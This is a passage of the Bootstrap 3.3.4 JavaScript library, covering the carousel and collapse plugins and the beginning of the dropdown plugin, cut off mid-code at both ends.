in document.documentElement) && this.$element .on('mouseenter.bs.carousel', $.proxy(this.pause, this)) .on('mouseleave.bs.carousel', $.proxy(this.cycle, this)) } Carousel.VERSION = '3.3.4' Carousel.TRANSITION_DURATION = 600 Carousel.DEFAULTS = { interval: 5000, pause: 'hover', wrap: true, keyboard: true } Carousel.prototype.keydown = function (e) { if (/input|textarea/i.test(e.target.tagName)) return switch (e.which) { case 37: this.prev(); break case 39: this.next(); break default: return } e.preventDefault() } Carousel.prototype.cycle = function (e) { e || (this.paused = false) this.interval && clearInterval(this.interval) this.options.interval && !this.paused && (this.interval = setInterval($.proxy(this.next, this), this.options.interval)) return this } Carousel.prototype.getItemIndex = function (item) { this.$items = item.parent().children('.item') return this.$items.index(item || this.$active) } Carousel.prototype.getItemForDirection = function (direction, active) { var activeIndex = this.getItemIndex(active) var willWrap = (direction == 'prev' && activeIndex === 0) || (direction == 'next' && activeIndex == (this.$items.length - 1)) if (willWrap && !this.options.wrap) return active var delta = direction == 'prev' ? -1 : 1 var itemIndex = (activeIndex + delta) % this.$items.length return this.$items.eq(itemIndex) } Carousel.prototype.to = function (pos) { var that = this var activeIndex = this.getItemIndex(this.$active = this.$element.find('.item.active')) if (pos > (this.$items.length - 1) || pos < 0) return if (this.sliding) return this.$element.one('slid.bs.carousel', function () { that.to(pos) }) // yes, "slid" if (activeIndex == pos) return this.pause().cycle() return this.slide(pos > activeIndex ? 'next' : 'prev', this.$items.eq(pos)) } Carousel.prototype.pause = function (e) { e || (this.paused = true) if (this.$element.find('.next, .prev').length && $.support.transition) { this.$element.trigger($.support.transition.end) this.cycle(true) } this.interval = clearInterval(this.interval) return this } Carousel.prototype.next = function () { if (this.sliding) return return this.slide('next') } Carousel.prototype.prev = function () { if (this.sliding) return return this.slide('prev') } Carousel.prototype.slide = function (type, next) { var $active = this.$element.find('.item.active') var $next = next || this.getItemForDirection(type, $active) var isCycling = this.interval var direction = type == 'next' ? 'left' : 'right' var that = this if ($next.hasClass('active')) return (this.sliding = false) var relatedTarget = $next[0] var slideEvent = $.Event('slide.bs.carousel', { relatedTarget: relatedTarget, direction: direction }) this.$element.trigger(slideEvent) if (slideEvent.isDefaultPrevented()) return this.sliding = true isCycling && this.pause() if (this.$indicators.length) { this.$indicators.find('.active').removeClass('active') var $nextIndicator = $(this.$indicators.children()[this.getItemIndex($next)]) $nextIndicator && $nextIndicator.addClass('active') } var slidEvent = $.Event('slid.bs.carousel', { relatedTarget: relatedTarget, direction: direction }) // yes, "slid" if ($.support.transition && this.$element.hasClass('slide')) { $next.addClass(type) $next[0].offsetWidth // force reflow $active.addClass(direction) $next.addClass(direction) $active .one('bsTransitionEnd', function () { $next.removeClass([type, direction].join(' ')).addClass('active') $active.removeClass(['active', direction].join(' ')) that.sliding = false setTimeout(function () { that.$element.trigger(slidEvent) }, 0) }) .emulateTransitionEnd(Carousel.TRANSITION_DURATION) } else { $active.removeClass('active') $next.addClass('active') this.sliding = false this.$element.trigger(slidEvent) } isCycling && this.cycle() return this } // CAROUSEL PLUGIN DEFINITION // ========================== function Plugin(option) { return this.each(function () { var $this = $(this) var data = $this.data('bs.carousel') var options = $.extend({}, Carousel.DEFAULTS, $this.data(), typeof option == 'object' && option) var action = typeof option == 'string' ? option : options.slide if (!data) $this.data('bs.carousel', (data = new Carousel(this, options))) if (typeof option == 'number') data.to(option) else if (action) data[action]() else if (options.interval) data.pause().cycle() }) } var old = $.fn.carousel $.fn.carousel = Plugin $.fn.carousel.Constructor = Carousel // CAROUSEL NO CONFLICT // ==================== $.fn.carousel.noConflict = function () { $.fn.carousel = old return this } // CAROUSEL DATA-API // ================= var clickHandler = function (e) { var href var $this = $(this) var $target = $($this.attr('data-target') || (href = $this.attr('href')) && href.replace(/.*(?=#[^\s]+$)/, '')) // strip for ie7 if (!$target.hasClass('carousel')) return var options = $.extend({}, $target.data(), $this.data()) var slideIndex = $this.attr('data-slide-to') if (slideIndex) options.interval = false Plugin.call($target, options) if (slideIndex) { $target.data('bs.carousel').to(slideIndex) } e.preventDefault() } $(document) .on('click.bs.carousel.data-api', '[data-slide]', clickHandler) .on('click.bs.carousel.data-api', '[data-slide-to]', clickHandler) $(window).on('load', function () { $('[data-ride="carousel"]').each(function () { var $carousel = $(this) Plugin.call($carousel, $carousel.data()) }) }) }(jQuery); /* ======================================================================== * Bootstrap: collapse.js v3.3.4 * http://getbootstrap.com/javascript/#collapse * ======================================================================== * Copyright 2011-2015 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) * ======================================================================== */ +function ($) { 'use strict'; // COLLAPSE PUBLIC CLASS DEFINITION // ================================ var Collapse = function (element, options) { this.$element = $(element) this.options = $.extend({}, Collapse.DEFAULTS, options) this.$trigger = $('[data-toggle="collapse"][href="#' + element.id + '"],' + '[data-toggle="collapse"][data-target="#' + element.id + '"]') this.transitioning = null if (this.options.parent) { this.$parent = this.getParent() } else { this.addAriaAndCollapsedClass(this.$element, this.$trigger) } if (this.options.toggle) this.toggle() } Collapse.VERSION = '3.3.4' Collapse.TRANSITION_DURATION = 350 Collapse.DEFAULTS = { toggle: true } Collapse.prototype.dimension = function () { var hasWidth = this.$element.hasClass('width') return hasWidth ? 'width' : 'height' } Collapse.prototype.show = function () { if (this.transitioning || this.$element.hasClass('in')) return var activesData var actives = this.$parent && this.$parent.children('.panel').children('.in, .collapsing') if (actives && actives.length) { activesData = actives.data('bs.collapse') if (activesData && activesData.transitioning) return } var startEvent = $.Event('show.bs.collapse') this.$element.trigger(startEvent) if (startEvent.isDefaultPrevented()) return if (actives && actives.length) { Plugin.call(actives, 'hide') activesData || actives.data('bs.collapse', null) } var dimension = this.dimension() this.$element .removeClass('collapse') .addClass('collapsing')[dimension](0) .attr('aria-expanded', true) this.$trigger .removeClass('collapsed') .attr('aria-expanded', true) this.transitioning = 1 var complete = function () { this.$element .removeClass('collapsing') .addClass('collapse in')[dimension]('') this.transitioning = 0 this.$element .trigger('shown.bs.collapse') } if (!$.support.transition) return complete.call(this) var scrollSize = $.camelCase(['scroll', dimension].join('-')) this.$element .one('bsTransitionEnd', $.proxy(complete, this)) .emulateTransitionEnd(Collapse.TRANSITION_DURATION)[dimension](this.$element[0][scrollSize]) } Collapse.prototype.hide = function () { if (this.transitioning || !this.$element.hasClass('in')) return var startEvent = $.Event('hide.bs.collapse') this.$element.trigger(startEvent) if (startEvent.isDefaultPrevented()) return var dimension = this.dimension() this.$element[dimension](this.$element[dimension]())[0].offsetHeight this.$element .addClass('collapsing') .removeClass('collapse in') .attr('aria-expanded', false) this.$trigger .addClass('collapsed') .attr('aria-expanded', false) this.transitioning = 1 var complete = function () { this.transitioning = 0 this.$element .removeClass('collapsing') .addClass('collapse') .trigger('hidden.bs.collapse') } if (!$.support.transition) return complete.call(this) this.$element [dimension](0) .one('bsTransitionEnd', $.proxy(complete, this)) .emulateTransitionEnd(Collapse.TRANSITION_DURATION) } Collapse.prototype.toggle = function () { this[this.$element.hasClass('in') ? 'hide' : 'show']() } Collapse.prototype.getParent = function () { return $(this.options.parent) .find('[data-toggle="collapse"][data-parent="' + this.options.parent + '"]') .each($.proxy(function (i, element) { var $element = $(element) this.addAriaAndCollapsedClass(getTargetFromTrigger($element), $element) }, this)) .end() } Collapse.prototype.addAriaAndCollapsedClass = function ($element, $trigger) { var isOpen = $element.hasClass('in') $element.attr('aria-expanded', isOpen) $trigger .toggleClass('collapsed', !isOpen) .attr('aria-expanded', isOpen) } function getTargetFromTrigger($trigger) { var href var target = $trigger.attr('data-target') || (href = $trigger.attr('href')) && href.replace(/.*(?=#[^\s]+$)/, '') // strip for ie7 return $(target) } // COLLAPSE PLUGIN DEFINITION // ========================== function Plugin(option) { return this.each(function () { var $this = $(this) var data = $this.data('bs.collapse') var options = $.extend({}, Collapse.DEFAULTS, $this.data(), typeof option == 'object' && option) if (!data && options.toggle && /show|hide/.test(option)) options.toggle = false if (!data) $this.data('bs.collapse', (data = new Collapse(this, options))) if (typeof option == 'string') data[option]() }) } var old = $.fn.collapse $.fn.collapse = Plugin $.fn.collapse.Constructor = Collapse // COLLAPSE NO CONFLICT // ==================== $.fn.collapse.noConflict = function () { $.fn.collapse = old return this } // COLLAPSE DATA-API // ================= $(document).on('click.bs.collapse.data-api', '[data-toggle="collapse"]', function (e) { var $this = $(this) if (!$this.attr('data-target')) e.preventDefault() var $target = getTargetFromTrigger($this) var data = $target.data('bs.collapse') var option = data ? 'toggle' : $this.data() Plugin.call($target, option) }) }(jQuery); /* ======================================================================== * Bootstrap: dropdown.js v3.3.4 * http://getbootstrap.com/javascript/#dropdowns * ======================================================================== * Copyright 2011-2015 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) * ======================================================================== */ +function ($) { 'use strict'; // DROPDOWN CLASS DEFINITION // ========================= var backdrop = '.dropdown-backdrop' var toggle = '[data-toggle="dropdown"]' var Dropdown = function (element) { $(element).on('click.bs.dropdown', this.toggle) } Dropdown.VERSION = '3.3.4' Dropdown.prototype.toggle = function (e) { var $this = $(this) if ($this.is('.disabled, :disabled')) return var $parent = getParent($this) var isActive = $parent.hasClass('open') clearMenus() if (!isActive) { if ('ontouchstart' in document.documentElement && !$parent.closest('.navbar-nav').length) { // if mobile we use a backdrop because click events don't delegate $('